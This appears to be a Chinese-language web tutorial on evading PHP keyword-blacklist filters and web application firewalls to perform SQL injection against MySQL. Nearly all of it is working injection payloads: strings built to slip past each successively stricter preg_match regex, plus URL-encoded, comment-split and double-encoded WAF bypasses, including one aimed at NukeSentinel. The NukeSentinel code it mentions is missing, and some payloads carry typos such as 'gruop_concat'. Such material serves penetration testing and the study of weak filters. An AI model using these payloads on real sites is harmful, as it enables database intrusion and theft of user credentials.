PHP+Mysql注入防护与绕过

时间:2022-06-08
本文章向大家介绍PHP+Mysql注入防护与绕过,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

黑名单关键字过滤与绕过


过滤关键字and、or

PHP匹配函数代码如下:

preg_match('/(and|or)/i', $id)

如何Bypass,过滤注入测试语句:

1 or 1 = 1 1 and 1 = 1

测试方法可以替换为如下语句测试:

1 || 1 = 1 1 && 1 = 1

过滤关键字and, or, union

PHP匹配函数代码如下:

preg_match('/(and|or|union)/i', $id)

如何Bypass,过滤注入测试语句:

union select user, password from users

测试方法可以替换为如下语句测试:

1 || (select user from users where user_id = 1) = 'admin'

过滤关键字and, or, union,where

PHP匹配函数代码如下:

preg_match('/(and|or|union|where)/i', $id)

如何Bypass,过滤注入测试语句:

1 || (select user from users where user_id = 1) = 'admin'

测试方法可以替换为如下语句测试:

1 || (select user from users limit 1) = 'admin'

过滤关键字and, or, union,where,limit

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit)/i', $id)

如何Bypass,过滤注入测试语句:

1 || (select user from users limit 1) = 'admin'

测试方法可以替换为如下语句测试:

1 || (select user from users group by user_id having user_id = 1) = 'admin'

过滤关键字and, or, union,where,limit,group by

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by)/i', $id)

如何Bypass,过滤注入测试语句:

1 || (select user from users group by user_id having user_id = 1) = 'admin'

测试方法可以替换为如下语句测试:

1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1

过滤关键字and, or, union,where,limit,group by,select

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by|select)/i', $id)

如何Bypass,过滤注入测试语句:

1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1

测试方法可以替换为如下语句测试:

1 || 1 = 1 into outfile 'result.txt' 1 || substr(user,1,1) = 'a'

过滤关键字and, or, union,where,limit,group by,select,'

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by|select|')/i', $id)

如何Bypass,过滤注入测试语句:

1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1

测试方法可以替换为如下语句测试:

1 || user_id is not null 1 || substr(user,1,1) = 0x61 1 || substr(user,1,1) = unhex(61)

过滤关键字and, or, union,where,limit,group by,select,',hex

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by|select|'|hex)/i', $id)

如何Bypass,过滤注入测试语句:

1 || substr(user,1,1) = unhex(61)

测试方法可以替换为如下语句测试:

1 || substr(user,1,1) = lower(conv(11,10,36))

过滤关键字and, or, union,where,limit,group by,select,',hex,substr

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by|select|'|hex|substr)/i', $id)

如何Bypass,过滤注入测试语句:

1 || substr(user,1,1) = lower(conv(11,10,36))

测试方法可以替换为如下语句测试:

1 || lpad(user,7,1)

过滤关键字and, or, union,where,limit,group by,select,',hex, substr, white space

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by|select|'|hex|substr|s)/i', $id)

如何Bypass,过滤注入测试语句:

1 || lpad(user,7,1)

测试方法可以替换为如下语句测试:

1%0b||%0blpad(user,7,1)

部分WAF绕过技巧


1、绕过部分WAF

/news.php?id=1+un/*/ion+se/*/lect+1,2,3--

2、匹配正则如下:

/unionsselect/g

绕过方式:

/news.php?id=1+UnIoN//SeLecT//1,2,3--

3、过滤一次关键字

/news.php?id=1+UNunionION+SEselectLECT+1,2,3--

4、关键字被过滤,有的时候可以用%0b插入关键字绕过

/news.php?id=1+uni%0bon+se%0blect+1,2,3--

5、对于Mod_rewrite的作用使得/**/不起作用时可以使用%0b代替

替换前:

/main/news/id/1//||//lpad(first_name,7,1).html

替换后:

/main/news/id/1%0b||%0blpad(first_name,7,1).html

6、大多数的CMS和WAF会对用户输入进行解码然后过滤,但有些只解码一次,我们可以对payload进行多次编码然后测试

/news.php?id=1%252f%252a/union%252f%252a /select%252f%252a/1,2,3%252f%252a/from%252f%252a/users--

真实的例子


NukeSentinel

Nukesentinel.php的代码如下:

针对上面的防护,使用如下测试语句将被拦截:

/php-nuke/?//union//select…

可以使用如下语句代替:

/php-nuke/?/%2A%2A/union/%2A%2A/select… /php-nuke/?%2f%2funion%2f%2fselect…